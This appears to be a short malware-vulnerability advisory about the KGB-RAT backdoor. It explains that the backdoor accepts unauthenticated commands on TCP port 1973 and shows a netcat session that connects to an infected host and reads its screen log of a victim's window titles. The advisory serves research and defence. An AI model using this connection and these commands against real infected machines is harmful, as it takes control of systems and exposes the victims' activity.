Backdoor.Win32.Small.bu Remote Command Execution

Backdoor.Win32.Small.bu (KGB-RAT server version 0.1) malware suffers from a remote command execution vulnerability.

MD5 | 2cfee5d4ff726c183d09157fc7c814aa

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Small.bu (KGB- RAT server v0.1)
Vulnerability: Unauthenticated Remote Command Execution
Description: The KGB- RAT malware listens on TCP port 1973. Third-party attackers who can reach infected systems can run commands made available by the backdoor, or run the "view" command to passively read screendump information. The malware writes its screendump info to a file named "log.log".

E.g. commands

rebt (reboot)
stoptb (shutdown the backdoor)
view (log.log)

Type: PE32
MD5: 36ca28db068b6f6634d633fe61d34a7d
Vuln ID: MVID-2022-0479
Disclosure: 02/01/2022

nc64.exe x.x.x.x 1973
Connected to: -KGB- Remote Administration Tool server v0.1
view log.log

< LocalData: 31/1/2022 LocalTime: 21.35.37 User: Victim >
< Window title: pestudio 8.74 - Malware Initial Assessment - >

< LocalData: 31/1/2022 LocalTime: 21.38.44 User: Victim >
< Window title: dump >


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